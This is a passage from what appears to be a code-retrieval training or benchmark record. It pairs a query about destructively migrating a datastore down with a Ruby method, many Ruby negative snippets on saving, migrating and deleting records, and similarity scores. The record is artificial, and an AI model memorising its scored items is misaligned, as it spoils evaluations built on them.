"def persists_state_via_data_import?\n false\n end", "def migrate(data)\n keys = I18n::Translate.hash_to_keys(data, @translate.options[:separator])\n keys.each do |key|\n entry = I18n::Translate.find(key, data, @translate.options[:separator])\n next unless I18n::Translate.is_enhanced?(entry)\n %w(old t).each do |prop|\n next unless entry[prop]\n value = entry.delete(prop)\n prop = case(prop)\n when \"old\"\n \"old_default\"\n when \"t\"\n \"translation\"\n end\n entry[prop] = value\n end\n I18n::Translate.set(key, entry, data, @translate.options[:separator])\n end\n data\n end", "def persisted\n available.reject(&:new_record?)\n end", "def update_model(model, record)\n raise_must_override\n end", "def touch\n self.updated_at = Time.zone.now\n skip_versioning_and_timestamps\n save :validate => false\n end", "def alter_model_storage(repository, *args)\n raise NotImplementedError\n end", "def persisted? ; false ; end", "def run\n # Ensure this is never run with a dirty in-memory shard cache\n ::Switchman::Shard.clear_cache\n migrate_strands\n migrate_everything\n end", "def reload\n model = self.class.find(to_remote)\n\n if model.errors?\n add_errors(model.errors)\n else\n copy_from(model)\n persist!\n end\n\n self\n end", "def reset_persistence_values\n self.id = nil\n\n if respond_to?(:updated_at=)\n self.updated_at = nil\n self.updated_at_will_change!\n end\n\n if respond_to?(:created_at=)\n self.created_at = nil\n self.created_at_will_change!\n end\n\n # mark all other attributes is changing\n (attributes.keys - changes.keys).each{ |key| self.send(:\"#{key}_will_change!\") }\n end", "def sneaky_save!(avoid_insert_conflict: nil)\n sneaky_create_or_update(avoid_insert_conflict: avoid_insert_conflict)\n end", "def migrate!\n Migrator.migrate(name)\n end", "def migrate!\n Migrator.migrate(name)\n end", "def alter_model_storage(repository, *args)\n raise NotImplementedError\n end", "def revert\n\t\tself.clear_caches\n\t\t@dirty = false\n\n\t\treturn true\n\tend", "def flush_db\n [ 'active_sources', 'data_records', 'semantic_properties', 'semantic_relations', 'workflows'].reverse.each { |f| ActiveRecord::Base.connection.execute \"DELETE FROM #{f}\" }\n # Also remove the \"unsaved cache\" for the wrappers (may be important during testing)\n TaliaCore::SemanticCollectionWrapper.instance_variable_set(:'@unsaved_source_cache', {})\n end", "def migratevm_host_datastore\n begin\n source_host = vm.runtime.host.name\n source_datastore = vm.storage.perDatastoreUsage[0].datastore.name\n source = source_host, source_datastore\n end\n rescue Exception => e\n fail e.message\n end", "def convert_to(klass)\n #if !self.instance_of?(klass)\n adapted_object = self.adapt_to(klass)\n\n adapted_object.relationships.each_statement do |statement|\n if statement.predicate == \"info:fedora/fedora-system:def/model#hasModel\"\n adapted_object.remove_relationship(:has_model, statement.object)\n #puts statement.object\n end\n end\n\n adapted_object.assert_content_model\n adapted_object.save\n adapted_object\n #end\n\n end", "def save_self(safe = true)\n super && embedments.values.each do |e|\n e.loaded?(self) && Array(e.get!(self)).each { |r| r.original_attributes.clear }\n end\n end", "def post_process_model(model)\n model.mark_synced!\n end", "def persisted?\n false\n end", "def restore\r\n self.update(deleted: false)\r\n end", "def sync\n object.save\n end", "def persisted? ; false ; end", "def sync\n model_ids_that_exist = []\n\n @model_class.all.each do |model|\n model_ids_that_exist << model.id\n if are_different?(@database_event_registry.event_for(model), model)\n create_or_recreate_event(model)\n end\n end\n @database_event_registry.unregister_all_except(model_ids_that_exist)\n end", "def safe_save(dmp:)\n dmp.project = safe_save_project(project: dmp.project)\n dmp.contributors_data_management_plans = dmp.contributors_data_management_plans.map do |cdmp|\n safe_save_contributor_data_management_plan(cdmp: cdmp)\n end\n dmp.datasets = safe_save_datasets(datasets: dmp.datasets)\n dmp.save\n dmp.reload\n end", "def store\n Model.model_store.store(self)\n end", "def auto_migrate_down!(repository_name = self.repository_name)\n assert_valid\n if base_model == self\n repository(repository_name).destroy_model_storage(self)\n else\n base_model.auto_migrate_down!(repository_name)\n end\n end", "def pass_through_persist\n super\n end", "def migrate!\n @logger.fine('Dropping schema...')\n\n migrate(0) # migrate to version 0.\n migrate # migrate to latest version.\n end", "def force_save!\n @force_save = true\n end", "def sync_local_model_status(model, record)\n true\n end", "def migrate_from(old_instance)\n @x = old_instance.instance_variable_get :@x\n @y = @x * 3\n @migrated = true\n end", "def preprocess_and_save\n process_attrs_before_write(self)\n return self.save()\n end", "def preprocess_and_save\n process_attrs_before_write(self)\n return self.save()\n end", "def sneaky_update\n\n # Handle no changes.\n return true if changes.empty?\n\n # Here we have changes --> save them.\n pk = self.class.primary_key\n original_id = changed_attributes.has_key?(pk) ? changes[pk].first : send(pk)\n !self.class.where(pk => original_id).update_all(attributes).zero?\n end", "def silent_save\n if self.class.find(self.id)\n update\n else\n insert\n end\n end", "def sneaky_save(avoid_insert_conflict: nil)\n begin\n sneaky_create_or_update(avoid_insert_conflict: avoid_insert_conflict)\n rescue ActiveRecord::StatementInvalid\n false\n end\n end", "def repair!\n update!\n end", "def revert!\n track_changes_save = self.class.track_changes_save\n self.class.track_changes_save = false\n self.transaction do\n content_versions.each do | c |\n if c.content.version == c.version\n c.content.revert_to(c)\n end\n end\n content_key_versions.each do | c |\n if c.content_key.version == c.version\n c.content_key.revert_to(c)\n end\n end\n end\n ensure \n self.class.track_changes = track_changes_save\n end", "def persisted?\n false\n end", "def persisted?\n false\n end", "def persisted?\n false\n end", "def persisted?\n false\n end", "def persisted?\n false\n end", "def persisted?\n false\n end", "def persisted?\n false\n end", "def persisted?\n false\n end", "def persisted?\n false\n end", "def persisted?\n false\n end", "def persisted?\n false\n end", "def persisted?\n false\n end", "def persisted?\n false\n end", "def persisted?\n false\n end", "def persisted?\n false\n end", "def persisted?\n false\n end" ]
[ "0.6306328", "0.63029623", "0.62074786", "0.618887", "0.61652833", "0.6141155", "0.61196834", "0.60771817", "0.6002148", "0.594506", "0.59195113", "0.588281", "0.5877324", "0.58196586", "0.58196586", "0.5790414", "0.5755922", "0.5740463", "0.570519", "0.57030845", "0.57030845", "0.56620705", "0.5652044", "0.56485295", "0.56481534", "0.5613484", "0.5602073", "0.55855805", "0.5578289", "0.5578289", "0.5578289", "0.5556239", "0.5546826", "0.5545497", "0.55297506", "0.55196214", "0.55152845", "0.5485434", "0.5472384", "0.5470804", "0.54676944", "0.5452836", "0.54448366", "0.5442067", "0.544146", "0.5434811", "0.5431627", "0.54100335", "0.5401207", "0.53996927", "0.5395275", "0.53832436", "0.5376672", "0.5371946", "0.5364735", "0.5329325", "0.5329257", "0.5322767", "0.5316881", "0.5316416", "0.5304146", "0.5300402", "0.5294248", "0.5287985", "0.52808374", "0.5280681", "0.5279552", "0.5278882", "0.5275064", "0.5269492", "0.52684486", "0.5264639", "0.52545273", "0.5250951", "0.52418196", "0.52258635", "0.52246344", "0.52239716", "0.52218384", "0.5220438", "0.5207536", "0.5206499", "0.5205217", "0.5205154", "0.5199926", "0.5199926", "0.5199926", "0.5199926", "0.5199926", "0.5199926", "0.5199926", "0.5199926", "0.5199926", "0.5199926", "0.5199926", "0.5199926", "0.5199926", "0.5199926", "0.5199926", "0.5199926" ]
0.5525518
35
Destructively migrates the datastore down, which basically deletes all the models. REPEAT: THIS IS DESTRUCTIVE
def auto_migrate_down!(repository_name = self.repository_name) assert_valid if base_model == self repository(repository_name).destroy_model_storage(self) else base_model.auto_migrate_down!(repository_name) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def cleanup\n @models.reverse_each(&:destroy_all)\n end", "def clean_database\n [Entry, Room, User].each do |model|\n model.delete_all\n end\nend", "def down\n Widget.update_all data_table_id: nil\n\n [DataTableDataset, DataRow, DataTable].each do |clazz|\n clazz.delete_all\n end\n end", "def drop_tables!\n migrate(:down)\n end", "def migrate!\n @logger.fine('Dropping schema...')\n\n migrate(0) # migrate to version 0.\n migrate # migrate to latest version.\n end", "def down\n execute <<-SQL\n DROP TABLE event_registrations;\n SQL\n\n execute <<-SQL\n DROP TABLE members;\n SQL\n\n execute <<-SQL\n DROP TABLE events;\n SQL\n\n execute <<-SQL\n DROP TABLE treatment_logs;\n SQL\n\n execute <<-SQL\n DROP TABLE feeding_logs;\n SQL\n\n execute <<-SQL\n DROP TABLE employees;\n SQL\n\n execute <<-SQL\n DROP TABLE animals;\n SQL\n\n execute <<-SQL\n DROP TABLE tanks;\n SQL\n\n execute <<-SQL\n DROP TABLE habitats;\n SQL\n end", "def clean_database\n models = [Comment, Article, Admin, User]\n if ENV['AN_USE_EXISTING_DYNAMODB_TABLE']\n ActivityNotification::Notification.where('id.not_null': true).delete_all\n ActivityNotification::Subscription.where('id.not_null': true).delete_all\n else\n models.concat([ActivityNotification::Notification, ActivityNotification::Subscription])\n end\n models.each do |model|\n model.delete_all\n end\nend", "def down\n ActiveRecord::Base.record_timestamps = false\n\n # Parse and modify the data in memory, because the JSON to modify is stored as a string in the database\n UserExportPreset.all.in_batches do |batch|\n batch.each do |uep|\n config = JSON.parse(uep.config)\n if config.dig('data', 'patients', 'query', 'workflow') == 'global'\n config['data']['patients']['query']['workflow'] = 'all'\n uep.update!(config: config.to_json)\n end\n end\n end\n\n ActiveRecord::Base.record_timestamps = true\n end", "def destroy_removed_migrations\n # @todo Make these methods into a more DRY manner for grabbing each record type and diff'ing them.\n # \n # We create an array for each record type that includes all records that we are going to destroy. We do this by taking the previous records array, converting them to a standard array and keeping them if any previous records occur in the migrated records array.\n versions_to_remove = GuidesGenerator::Migrator::previous_versions.to_a.keep_if do |version|\n !GuidesGenerator::Migrator::migrated_versions.include?(version)\n end\n\n sections_to_remove = GuidesGenerator::Migrator::previous_sections.to_a.keep_if do |sections|\n !GuidesGenerator::Migrator::migrated_sections.include?(sections)\n end\n\n documents_to_remove = GuidesGenerator::Migrator::previous_documents.to_a.keep_if do |document|\n !GuidesGenerator::Migrator::migrated_documents.include?(document)\n end\n\n # After we have all the arrays of records to remove iterate over each array and destroy the records.\n [versions_to_remove, sections_to_remove, documents_to_remove].each {|records| records.each {|record| record.destroy}}\n end", "def reset_migrations!\n @migrations = nil\n @migrate_to = nil\n Neo4j::Transaction.run do\n Neo4j.ref_node[:_db_version] = nil\n end\n end", "def clear_db\n DB.from(\"mentees\").delete\n DB.from(\"mentors\").delete\n DB.from(\"admins\").delete\n DB.from(\"users\").delete\n DB.from(\"codes\").delete\n DB.from(\"requests\").delete\n DB.from(\"questions_answers\").delete\nend", "def purge_db\n\tUser.delete_all\n\tSubscription.delete_all\n\tDorkus.delete_all\nend", "def wipe!\n resource_factory.orm_class.delete_all\n end", "def reset_migrations!\n @migrations = nil\n @migrate_to = nil\n Neo4j::Transaction.run do\n migration_meta_node[:_db_version] = nil\n end\n end", "def down\n \tdrop_table :solution_submissions\n\n # \texecute <<-SQL\n # \t\tDROP TYPE s_status;\n # \tSQL\n\n # \texecute <<-SQL\n # \t\tDROP TYPE lang;\n # \tSQL\n\n end", "def reset!\n migrate_table!(:down)\n migrate_table!(:up)\n disconnect\n end", "def clear_db\n users = User.all\n users.delete_all\n companies = Company.all\n companies.delete_all\n feedbacks = Feedback.all\n feedbacks.delete_all\n co_emp = CompanyEmployee.all\n co_emp.delete_all\n projects = Project.all\n projects.delete_all\n proj_fb = ProjectFeedback.all\n proj_fb.delete_all\nend", "def down(&block)\n migration.down = block\n end", "def flush_db\n [ 'active_sources', 'data_records', 'semantic_properties', 'semantic_relations', 'workflows'].reverse.each { |f| ActiveRecord::Base.connection.execute \"DELETE FROM #{f}\" }\n # Also remove the \"unsaved cache\" for the wrappers (may be important during testing)\n TaliaCore::SemanticCollectionWrapper.instance_variable_set(:'@unsaved_source_cache', {})\n end", "def clear_database\n User.destroy_all\n Animal.destroy_all\n Report.destroy_all\nend", "def down\n \t# Example\n \t# Easy to undo something you create, but this doesn't work\n \t# because it is hard to fix mistakes.\n \t# drop_table :pictures\n end", "def clean\n disable_referential_integrity do\n tables_cache.keys.reverse_each do |table|\n ActiveRecord::Base.connection.execute %(\n DELETE FROM #{table}\n )\n end\n end\n end", "def clean\n\t\t\n\t\t@db.del 'twitter'\n\t\t@db.del 'rpg'\n\t\n\tend", "def destroy_everything\n destroy_user_key_columns\n destroy_user_key_organizations\n destroy_whitelists\n destroy_approvals\n destroy_user_keys\n destroy_users\n destroy_comments\n destroy_filters\n destroy_columns\n destroy_organizations\n end", "def destroy\n # remove this model from the model tree\n parent.try(:remove_descendant, self)\n mixins.each {|mixin| mixin.remove_descendant(self)}\n \n # destroy model subclasses, and all record instances\n children.each(&:destroy)\n all.each(&:destroy)\n \n # remove the association between the site and this model\n site.model_types.delete(name.underscore.pluralize)\n site.model_plural_names.delete(name)\n site.save\n \n # remove any remaining indexes\n indexes.each do |name|\n RecordIndex.remove_index_for_model(self, name)\n end\n \n record_fields.each do |name, field|\n RecordIndex.remove_index_for_field(self, field) if field.index?\n end\n \n # destroy the model record\n super\n end", "def delete\n self.users.each do |id|\n user = User.find_by_id(id)\n next if user.nil?\n user.databases.delete(self._id)\n user.working_db_id = nil if user.working_db == self\n user.save\n end\n super\n end", "def down\n # un-retext stuff\n @@renames.each do |rename|\n retext_tab(rename[:new_text], rename[:old_text])\n end\n\n task = Task.find_by_name('Update PSD')\n return if task.nil?\n\n # destroy tab\n Tab.find_by_task_id(task.id).destroy\n\n # remove from unlocked lists\n UnlockedTask.where(unlocked_task_id: task.id).destroy_all\n\n # destroy task\n task.destroy\n end", "def down\n remove_column(:services, :instance)\n end", "def delete!\n Model.model_store.delete!(self)\n end", "def reset\n tables = MODELS + [ENV['SCHEMA_TABLE']]\n tables.each { |t|\n DB << \"DROP TABLE IF EXISTS #{t.inspect};\"\n }\nend", "def db_clear\n [Project, Milestone, Category, Version, LoaderRelease].each {|x| x.delete_all}\n end", "def drop_db\n Mongoid.purge!\n end", "def teardown\n super\n delete_goo_models(LinkedData::Models::Review.all)\n delete_goo_models(LinkedData::Models::Ontology.all)\n delete_goo_models(LinkedData::Models::User.all)\n @review_params = nil\n @user = nil\n @ont = nil\n end", "def teardown_test_db\n ActiveRecord::Base.connection.tables.each do |t|\n ActiveRecord::Base.connection.drop_table(t)\n end\nend", "def clean_db(prev_versions)\nputs \"CLEAN DB CALLED\"\n if Version.count > prev_versions\n to_remove = Version.count - prev_versions\n puts \"Removing #{to_remove} old versions from database\"\n Version.all(:limit => to_remove, :order => [ :processed.asc ]).each do |old_version|\n old_version.units.all.each do |old_unit|\n #old_unit.images.all.each do |old_image|\n # old_image.destroy\n #end\n old_unit.destroy\n end\n old_version.destroy\n end\n end\n end", "def teardown\n teardown_db\n end", "def down\n\n end", "def db_clear\n [Project, Milestone, Category, Version, LoaderRelease].each(&:delete_all)\n end", "def down; end", "def down\n # raise ActiveRecord::IrreversibleMigration\n remove_index :users, :first_name\n remove_index :users, :last_name\n remove_index :users, :email_address\n remove_index :users, :address_zip\n end", "def teardown\n delete_goo_models(LinkedData::Models::Project.all)\n delete_goo_models(LinkedData::Models::Ontology.all)\n delete_goo_models(LinkedData::Models::User.all)\n @projectParams = nil\n @user = nil\n @ont = nil\n @p = nil\n end", "def teardown\n if @models.any?\n teardown_models\n teardown_namespaces\n ActiveSupport::Dependencies::Reference.clear! if ActiveRecord::VERSION::MAJOR < 7\n end\n end", "def destroy_instance_database\n instance_database.delete!\n end", "def destroy_instance_database\n instance_database.delete!\n end", "def purge\n ModelHelper::destroy_backup self\n end", "def clear_all_databases\n excluded_tables = [\"schema_migrations\", \"common_states\", \"common_activities\"]\n connection = ActiveRecord::Base.connection\n table_names = connection.tables.dup\n table_names.delete_if { |table_name| excluded_tables.include?(table_name) }\n \n table_names.each do |table_name|\n sql_command = \"DELETE FROM #{table_name};\"\n connection.execute sql_command\n end\nend", "def truncate_all\n Content::Version.all.map(&:destroy)\n ContentKey::Version.all.map(&:destroy)\n Content.all.map(&:destroy)\n ContentKey.all.map(&:destroy)\n end", "def teardown\n\t\tActiveRecord::Base.clear_all_connections!\n\t\t#File.delete \"test.sqlite\"\n\tend", "def down\n FhirEndpoint.all.each do |fhir_endpoint|\n reg_org = fhir_endpoint.registered_organization\n\n # If registered_organization exists, carry on. If not, then this is an orphaned fhir_endpoint record\n # that should be destroyed.\n if reg_org\n # Can't reset registered_organization_id to nil because then record is invalid.\n fhir_endpoint.update(organization_id: reg_org.organization_id)\n else\n fhir_endpoint.destroy\n end\n end\n end", "def clean_up\n if self.deleted?\n # clean room type mapping\n RoomTypeChannelMapping.find_all_by_room_type_id(self.id).each do |rtcm|\n rtcm.update_attribute(:deleted, true)\n end\n # clean master rate mapping\n RoomTypeMasterRateMapping.find_all_by_room_type_id(self.id).each do |rtmr|\n RoomTypeMasterRateChannelMapping.find_all_by_room_type_master_rate_mapping_id(rtmr.id).each do |rtc|\n rtc.update_attribute(:deleted, true)\n end\n rtmr.update_attribute(:deleted, true)\n end\n # clean availability link from\n RoomTypeInventoryLink.find_all_by_room_type_from_id(self.id).each do |rml|\n rml.update_attribute(:deleted, true)\n end\n # clean availability link to\n RoomTypeInventoryLink.find_all_by_room_type_to_id(self.id).each do |rml|\n rml.update_attribute(:deleted, true)\n end\n end\n end", "def reset_db\n \n end", "def nuke!\n self.account_benefit_plans.destroy_all\n self.group_benefit_plans.destroy_all\n self.attachments.destroy_all\n self.applications.destroy_all\n self.application_statuses.destroy_all\n self.benefit_plans.destroy_all\n self.memberships.destroy_all\n self.carrier_accounts.destroy_all\n self.groups.destroy_all\n self.roles.destroy_all\n self.tokens.destroy_all\n self.carriers.destroy_all\n self.invitations.destroy_all\n\n # TODO: Do we actually want to destroy payments?\n self.payments.destroy_all\n\n self.destroy!\n end", "def clear_all_in_database\n Tweet.destroy_all\n User.destroy_all\n Follow.destroy_all\n end", "def clear_all_in_database\n Tweet.destroy_all\n User.destroy_all\n Follow.destroy_all\n end", "def delete_all_records_from_all_tables\n if Rails.env.production?\n raise \"deleting all records in production is not alllowed\"\n else\n Rake::Task[\"db:schema:load\"].invoke\n end\nend", "def delete_all_records_from_all_tables\n if Rails.env.production?\n raise \"deleting all records in production is not alllowed\"\n else\n Rake::Task[\"db:schema:load\"].invoke\n end\nend", "def teardown\n cleanup_tables\n cleanup_caches\n end", "def clear_redis_model_attributes\n RedisModel::Schema.collection.each do |klass, _|\n if klass < RedisModel::BelongedTo && Object.const_get(klass.to_s.deconstantize) >= self.class\n self.send(klass.to_s.demodulize.underscore).del\n end\n end\n end", "def tear_down; end", "def erase_all\n entities_to_erase = []\n for entity in Sketchup.active_model.entities\n entities_to_erase.push entity\n end\n\n for entity in entities_to_erase\n if entity.valid?\n entity.erase!\n end\n end\n end", "def nuke\n self.open_graph_event.destroy unless self.open_graph_event.nil?\n self.teamsheet_entries.destroy_all\n self.messages.destroy_all\n self.activity_items.destroy_all\n self.result.destroy unless self.result.nil?\n self.destroy\n end", "def teardown\n Mongoid::Clients.default.database.collection_names.each do |c|\n Mongoid::Clients.default[c].drop\n end\n end", "def teardown\n puts \"Teardown running...\"\n %x[rake db:reset]\n end", "def teardown\n puts \"Teardown running...\"\n %x[rake db:reset]\n end", "def teardown\n puts \"Teardown running...\"\n %x[rake db:reset]\n end", "def teardown\n puts \"Teardown running...\"\n %x[rake db:reset]\n end", "def flush_database\n\t\t\tp \"Flushing Database\"\n\t\t\tAdmin.destroy_all\n\t\t\tCountry.destroy_all\n\t\t\tDoorkeeper::Application.destroy_all\n\t\tend", "def down\n remove_index(\"admin_users\", \"username\")\n\tremove_column(\"admin_users\",\"salt\")\n\trename_column(\"admin_users\", \"hashed_password\", \"password\")\n\tchange_column(\"admin_users\", \"email\", :string, :default=>\"\", :null=>false)\n\tremove_column(\"admin_users\", \"username\")\n\trename_table(\"admin_users\", \"users\")\n\n\n end", "def clear_db\n clear_urls + clear_docs\n end", "def down\n \tdrop_table :problems\n\n \t#execute <<-SQL\n \t#\tDROP TYPE difficulty;\n \t#SQL\n end", "def unlink\n self.transaction do\n self.class.factory.model.connection.execute <<-SQL\n ALTER TABLE #{name} NO INHERIT #{self.class.factory.model.table_name};\n ALTER TABLE #{name} RENAME TO #{name}_unlinked;\n SQL\n self.destroy\n end\n end", "def clear_database_table\n <%= class_name %>.delete_all\n end", "def shutdown\n drop_database\n end", "def database_reset\n @database = nil\n end", "def uninstall_on!(db, options = {})\n sql = \"\"\n all_objects_in_order.reverse.each{|o| \n begin\n sql = o.to_clean_sql(db)\n execute_ddl(db, sql, options)\n rescue Sequel::Error => ex\n puts \"Ignoring: #{ex.message}\" if options[:verbose]\n end\n }\n db\n end", "def destroy!\n drop_ddl = tables.map(&:name).map do |t|\n \"drop table if exists #{t};\\n\"\n end.join\n ActiveRecord::Base.connection.execute(drop_ddl)\n end", "def down\n execute <<-SQL\n ALTER TABLE ticket_types\n DROP INDEX ticket_types_type_uuid;\n SQL\n end", "def clean_up_my_app(orchestrate)\n\n\t# -----------------------------------------------------------------------------------\n\t# Delete the 'league/teams' relationship for each league\n\t#\n\tif @population_control['member-teams'] == :delete\n\t\tif false\n\t\t\t@all_league_ids.each do |league_id_str|\n\t\t\t\t# # Try deleting each relation individually (directly via the API)\n\t\t\t\t# filename = \"#{@root_name}-leagues-#{league_id_str}-teams-t2-relation.json\"\n\t\t\t\t# keys_B = JSON.parse(open(\"#{@src_dir}/#{filename}\").read)['member-team-ids']\n\t\t\t\t# keys_B.each do |key_B|\n\t\t\t\t# \torchestrate.delete_relation({\n\t\t\t\t# \t\tcollection_A: :leagues,\n\t\t\t\t# \t\tkey_A: league_id_str,\n\t\t\t\t# \t\trelation: :teams,\n\t\t\t\t# \t\tcollection_B: :teams,\n\t\t\t\t# \t\tkey_B: key_B,\n\t\t\t\t# \t})\n\t\t\t\t# end\n\n\t\t\t\t# Try deleting each relation individually (via the helper)\n\t\t\t\tdelete_relation_list({\n\t\t\t\t\tclient: orchestrate,\n\t\t\t\t\tcollection_A: 'leagues',\n\t\t\t\t\tkey_A: league_id_str, \n\t\t\t\t\trelation: 'teams'\n\t\t\t\t})\n\n\t\t\t\t# Try deleting the entire relationship\n\t\t\t\torchestrate.delete_relations(collection_A: 'leagues', key_A: league_id_str, relation: 'teams')\n\t\t\tend\n\t\tend\n\tend\n\n\t# -----------------------------------------------------------------------------------\n\t# Delete the 'league/standings' events for each league\n\t#\n\tif @population_control[:standings] == :delete\n\t\tif false\n\t\t\t@all_league_ids.each do |league_id_str|\n\t\t\t\torchestrate.delete_events(collection_A: 'leagues', key: league_id_str, event_type: 'standings')\n\t\t\tend\n\t\tend\n\tend\n\n\t# -----------------------------------------------------------------------------------\n\t# Delete the 'leagues' collection keys\n\t#\n\tif @population_control[:leagues] == :delete\n\t\t@all_league_ids.each do |league_id_str|\n\t\t\torchestrate.delete_key(collection: 'leagues', key: league_id_str)\n\t\tend\n\tend\nend", "def destroy_schema\n Apartment::Tenant.drop tenant\n end", "def destroy_schema\n Apartment::Tenant.drop tenant\n end", "def clear_all_training_data\n @redis.flushdb\n end", "def clear!\n transaction do\n Schema::TABLES.each do |table|\n execute(\"DELETE FROM #{table}\")\n execute(\"DELETE FROM sqlite_sequence WHERE name = '#{table}'\") # reset the auto-increment sequence\n end\n end\n self\n end", "def down\n execute <<-SQL\n DROP TABLE working_intervals;\n SQL\n end", "def uninstall\n if installed?\n destroy_database_directory\n destroy_database_configuration_file\n end\n end", "def destroy_database\n unless defined?(ORD) == 'constant' \n Object.send :const_set, :ORD, ActiveOrient::OrientDB.new( preallocate: false)\n end \n ORD.delete_database database: ActiveOrient.database\n ActiveOrient::Model.allocated_classes = {}\n Object.send :remove_const, :ORD \n Object.send( :remove_const, :DB ) if defined?(DB) == 'constant'\n\nend", "def destroy_database\n unless defined?(ORD) == 'constant' \n Object.send :const_set, :ORD, ActiveOrient::OrientDB.new( preallocate: false)\n end \n ORD.delete_database database: ActiveOrient.database\n ActiveOrient::Model.allocated_classes = {}\n Object.send :remove_const, :ORD \n Object.send( :remove_const, :DB ) if defined?(DB) == 'constant'\n\nend", "def reset_database\n start_new_year\n\n remove_all_confirmation_events\n\n # save admin info because deleting all Admins\n admin = Admin.first\n contact_name = admin.contact_name\n contact_phone = admin.contact_phone\n admin_email = admin.email\n\n Admin.find_each(&:delete)\n\n # clean out Visitor\n Visitor.find_each(&:destroy)\n Visitor.create!(home_parish: 'Change to home parish of confirmation',\n home: 'HTML for home page',\n about: 'HTML for about page',\n contact: 'HTML for contact page')\n\n AppFactory.add_confirmation_events\n\n AppFactory.generate_seed(contact_name, contact_phone, admin_email)\n end", "def clear_tables\n # the order of operations here is important because of the foreign key constraint\n MinWords::DB.drop_table :defines, :words\n create_tables\n end", "def down_model(record, *args)\n # set downcase=true\n args[1] = true\n t_model(record, *args)\n end", "def destroy\n transaction do\n if self.old_version\n self.old_version.update_column :new_version_id, nil\n end\n super\n end\n end", "def _delete_without_checking\n if sql = (m = model).fast_instance_delete_sql\n sql = sql.dup\n ds = use_server(m.dataset)\n ds.literal_append(sql, pk)\n ds.with_sql_delete(sql)\n else\n _delete_dataset.delete \n end\n end", "def _delete_without_checking\n if sql = (m = model).fast_instance_delete_sql\n sql = sql.dup\n ds = use_server(m.dataset)\n ds.literal_append(sql, pk)\n ds.with_sql_delete(sql)\n else\n _delete_dataset.delete \n end\n end", "def clear_db\n\t\tdb = SQLite3::Database.open \"simpl.db\"\n\t\tdb.execute \"DELETE FROM user;\"\n\t\tdb.execute \"DELETE FROM merchant;\"\n\t\tdb.execute \"DELETE FROM transactions;\"\n\tend", "def clear_db\n\t\tdb = SQLite3::Database.open \"simpl.db\"\n\t\tdb.execute \"DELETE FROM user;\"\n\t\tdb.execute \"DELETE FROM merchant;\"\n\t\tdb.execute \"DELETE FROM transactions;\"\n\tend", "def destroy_backend\n Rails.logger.info \"Removing tenant #{self.name} with tenant id #{self.uuid}.\"\n\n Rails.logger.info \"Undeploying all instances for tenant #{self.name}...\"\n # Delete all instances\n if self.instances.count > 0\n success = self.instances.each {|i| i.undeploy }\n if success\n Rails.logger.info \"Removed all instances for tenant #{self.name}.\"\n else\n Rails.logger.error \"Could not remove instance during project deletion:\"\n Rails.logger.error \"Instance: #{i.name} #{i.id} #{i.uuid}\"\n return false\n end\n end\n\n compute_c = get_connection(\"compute\")\n network_c = get_connection(\"network\")\n identity_c = get_connection(\"identity\")\n\n # Unallocate floating ips\n floating_ips = compute_c.get_floating_ips\n floating_ips.each do |ip|\n Rails.logger.info \"Deleting floating ip #{ip.ip} with id #{ip.id}\"\n compute_c.delete_floating_ip(ip.id)\n end\n\n routers = network_c.list_routers.select {|router| router.tenant_id == self.uuid}\n subnets = network_c.list_subnets.select {|subnet| subnet.tenant_id == self.uuid}\n networks = network_c.list_networks.select {|network| network.tenant_id == self.uuid}\n\n # Clear all router gateways\n routers.each do |router|\n Rails.logger.info \"Clearing router gateway for #{router.name} with id #{router.id}.\"\n # Remove gateway from the router\n network_c.update_router(router.id, {\"external_gateway_info\" => {}})\n end\n\n # loop through each network\n # For each router, remove any subnet interfaces\n networks.each do |network|\n subnets.select {|subnet| subnet.network_id == network.id}.each do |subnet|\n routers.each do |router|\n begin\n Rails.logger.info \"Attempting to remove router interface for subnet #{subnet.name} with id #{subnet.id} from router #{router.name} with id #{router.id}.\"\n network_c.remove_router_interface(router.id, subnet.id)\n Rails.logger.info \"Successfully removed router interface for subnet #{subnet.name}.\"\n rescue => e\n Rails.logger.error \"Tried to remove router interface for subnet #{subnet.name} with id #{subnet.id} from router #{router.name} with id #{router.id}.\"\n end\n end\n end\n end\n\n # Delete all subnets\n subnets.each do |subnet|\n Rails.logger.info \"Deleting subnet #{subnet.name} with id #{subnet.id}\"\n network_c.delete_subnet(subnet.id)\n end\n\n # Delete all routers\n routers.each do |router|\n Rails.logger.info \"Deleting router #{router.name} with id #{router.id}\"\n network_c.delete_router(router.id)\n end\n\n # Delete all networks\n networks.each do |network|\n Rails.logger.info \"Deleting network #{network.name} with id #{network.id}\"\n network_c.delete_network(network.id)\n end\n\n # Finally, delete the tenant\n Rails.logger.info \"Deleting tenant #{self.name} with id #{self.uuid}\"\n identity_c.delete_tenant(self.uuid)\n\n Rails.logger.info \"Removal of tenant #{self.name} on the OpenStack backend succeeded.\"\n end", "def cleanup!\n check_if_finished\n raise \"#{self.class}: instance not prepared before doing any move\" unless @prepared\n raise \"#{self.class}: not all data was iterated over\" unless @finished\n\n case @strategy\n when 'incremental'\n # notinh we need to do\n\n when 'rotate'\n postgres.execute(\"DROP TABLE #{@tmp_table_name}\")\n\n end\n end", "def clean\n super\n\n with_connection { |connection| connection.execute(SQL_DELETE_TESTS) }\n end", "def reinitialize_db\n drop_db\n initialize_db\n end", "def down\n end", "def down\n end" ]
[ "0.72942877", "0.7023947", "0.70191544", "0.6929789", "0.682968", "0.68229425", "0.6723844", "0.66722655", "0.6627511", "0.65139985", "0.65090877", "0.64827055", "0.64783454", "0.64768165", "0.64388156", "0.64382845", "0.63905615", "0.6385152", "0.6382948", "0.6380324", "0.636311", "0.63298315", "0.6307708", "0.62692666", "0.6267352", "0.62300503", "0.62189066", "0.62076205", "0.6205764", "0.6202139", "0.61971194", "0.619498", "0.61599344", "0.61537606", "0.6138563", "0.61355454", "0.6133259", "0.61274457", "0.6116106", "0.6109916", "0.6107713", "0.6104996", "0.60892344", "0.60892344", "0.60843015", "0.60781527", "0.6072283", "0.6059716", "0.60278535", "0.59985673", "0.59923315", "0.5991911", "0.5983929", "0.5983929", "0.5980855", "0.5980855", "0.5975666", "0.596468", "0.5956971", "0.595565", "0.5951763", "0.5941423", "0.59394735", "0.59394735", "0.59394735", "0.59394735", "0.5938689", "0.5912709", "0.5898645", "0.5893942", "0.5887883", "0.5874823", "0.5865189", "0.58630973", "0.5856621", "0.58437407", "0.5842779", "0.58279085", "0.58226454", "0.58226454", "0.5815081", "0.58129317", "0.5810589", "0.5810348", "0.5798926", "0.5798926", "0.5796179", "0.57753605", "0.5770109", "0.5764114", "0.575865", "0.575865", "0.5752845", "0.5752845", "0.5752359", "0.5740681", 